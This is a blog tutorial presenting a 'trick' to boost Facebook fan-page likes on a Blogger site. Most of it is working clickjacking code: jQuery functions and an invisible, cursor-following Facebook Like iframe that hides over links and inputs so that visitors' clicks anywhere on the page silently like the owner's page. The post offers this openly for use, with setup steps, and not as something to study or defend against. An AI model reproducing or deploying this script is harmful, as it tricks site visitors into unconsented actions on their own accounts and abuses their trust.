As you all know that how important the socializing has become today & among all the socializing platforms how important is especially the Facebook. The most widely used platforms for every purpose either for normal socializing or either for business purposes. People most extensively used Facebook in order to share what they like. People who used Facebook Page for business purposes, are always in hurry to increase their social following for their business either its blog or website or some other business. The people around the Facebook are always follow in what they are interested. Talking here about blog or websites, some people find it difficult in order to increase their Facebook Fan Page following. Today in this tutorial we are her with the trick through which you can easily increase your Facebook Fan Page Likes by using simpleWebpage Script and when someone clicks somewhere in your blog or website they willautomatically become your Fan on Facebook.
Restrictions While Using This Script:-
- Visitors might not able to select the text on your blog while they drag.
- Some other gadgets/plugins on your blog might be get affected.
- Visitors must have logged-in their Facebook account other when they click somewhere on your blog, this script will display a pop-up window to log into Facebook.
How To Add This Webpage Script In Blogger?
<script src=”http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js” type=”text/javascript”>
</script>
<script type=’text/javascript’> function ClickJackFbHide(){ jQuery("div[id^=\'clickjack-button-wrapper\']").hide(); } function ClickJackFbShow(){ jQuery("div[id^=\'clickjack-button-wrapper\']").show(); }
</script>
6. Now again inside “HTML EDITOR”, press “CTRL+F” and find </body> tag.
<div id=”clickjack-button-wrapper-5″ style=”position: absolute; opacity: 0; filter: alpha(opacity = 0); -ms-filter:’progid:DXImageTransform.Microsoft.Alpha(Opacity=0)’; margin-left: -50px; z-index: 100; width:27px; height:20px; overflow:hidden”> <!–<div style=”position: absolute; top: 5px; left: 5px; z-index: 1000; height: 13px; width: 15px;”></div>–>
<iframe src=”http://www.facebook.com/plugins/like.php?href=Your Facebook Fan Page URL Goes Here&layout=button_count&show_faces=false&width=50& action = like &colorscheme=light&height=21″ scrolling=”no” frameborder=”0″ style=”border:none; overflow:hidden; width:45px; left:-19px; height:21px; z-index: 0; position: relative;” allowTransparency=”true”></iframe>
</div> <script type=”text/javascript”> jQuery( document ).ready( function() { $( “#clickjack-button-wrapper-5” ).parent().mousemove( function( e ) { jQuery( “#clickjack-button-wrapper-5” ).css( { top: e.pageY – 10, left: e.pageX + 30 } ); } ); clickjack_hider(); var clickjack_fb_timer = setTimeout(“clickjack_hider()”,5000); } ); function clickjack_hider(){ jQuery(“input”).mouseout(function(){ClickJackFbShow();}); jQuery(“a”).mouseout(function(){ClickJackFbShow();}); jQuery(“button”).mouseout(function(){ClickJackFbShow();}); jQuery(“textarea”).mouseout(function(){ClickJackFbShow();}); jQuery(“.ratingblock”).mouseout(function(){ClickJackFbShow();}); jQuery(“object”).mouseout(function(){ClickJackFbShow();}); jQuery(“input”).mouseover(function(){ClickJackFbHide();}); jQuery(“a”).mouseover(function(){ClickJackFbHide();}); jQuery(“button”).mouseover(function(){ClickJackFbHide();}); jQuery(“textarea”).mouseover(function(){ClickJackFbHide();}); jQuery(“.ratingblock”).mouseover(function(){ClickJackFbHide();}); jQuery(“object”).mouseover(function(){ClickJackFbHide();}); }
</script>
Make The Following Changes:-
- Replace “Your Facebook Fan Page URL Goes Here” with your own Facebook Fanpage URL.